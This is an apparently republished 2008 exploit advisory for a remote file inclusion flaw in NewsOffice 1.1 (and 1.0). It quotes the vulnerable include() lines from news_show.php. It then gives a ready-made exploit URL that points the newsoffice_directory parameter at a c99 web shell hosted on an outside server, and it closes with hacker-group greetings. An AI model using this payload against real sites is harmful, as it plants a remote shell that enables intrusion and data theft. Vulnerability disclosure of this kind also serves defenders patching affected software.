NewsOffice 1.1 Remote File Inclusion Vulnerability

🗓️ 12 Apr 2008 00:00:00Reported by RootType

NewsOffice 1.1 Remote File Inclusion Vulnerability, also affects version 1.


                                                -==========================================[&nbsp;ViVa&nbsp;Islam&nbsp;+&nbsp;YeMeN&nbsp;]====================================-

#&nbsp;Name&nbsp;:&nbsp;NewsOffice&nbsp;1.1&nbsp;Remote&nbsp;File&nbsp;Include&nbsp;Vulnerabilitiy

#&nbsp;Download&nbsp;From&nbsp;:&nbsp;http://www.newanz.com/applications/NewsOffice/?page=download

#&nbsp;Found&nbsp;By&nbsp;:&nbsp;RoMaNcYxHaCkEr&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[RoMaNTiC-TeaM]&nbsp;&nbsp;(&nbsp;BlackxHat&nbsp;,&nbsp;BlackBox&nbsp;,&nbsp;aLwHEeD&nbsp;)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;

#&nbsp;Home&nbsp;Page&nbsp;:&nbsp;&nbsp;WwW.4RxH.CoM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;

+======================================================================================================================+

#&nbsp;Vulne&nbsp;Code&nbsp;In&nbsp;File&nbsp;news_show.php&nbsp;In&nbsp;Different&nbsp;Lines&nbsp;:

include($newsoffice_directory.&quot;config.php&quot;);
include($newsoffice_directory.&quot;news_data.php&quot;);
include($newsoffice_directory.&quot;template.php&quot;);

#&nbsp;Exploit&nbsp;:

http://WwW.4RxH.CoM/NewsOffice/news_show.php?newsoffice_directory=http://rxh.freehostia.com/shells/c99in.txt?

Also&nbsp;The&nbsp;Version&nbsp;1.0&nbsp;Is&nbsp;Infected&nbsp;In&nbsp;Same&nbsp;File

That,s&nbsp;It,s

Good&nbsp;Luck&nbsp;Everybody

+=======================================================================================================================+

#&nbsp;Greet&nbsp;To&nbsp;:

Tryag&nbsp;TeaM&nbsp;&amp;&nbsp;All&nbsp;Members&nbsp;Of&nbsp;My&nbsp;Forum

#&nbsp;For&nbsp;Contact&nbsp;:&nbsp;[email protected]

#&nbsp;Fuck&nbsp;Own&nbsp;Life&nbsp;&nbsp;:(&nbsp;

-==========================================[&nbsp;ViVa&nbsp;Islam&nbsp;+&nbsp;YeMeN&nbsp;]====================================-

12 Apr 2008 00:00Current

7.1High risk

Vulners AI Score7.1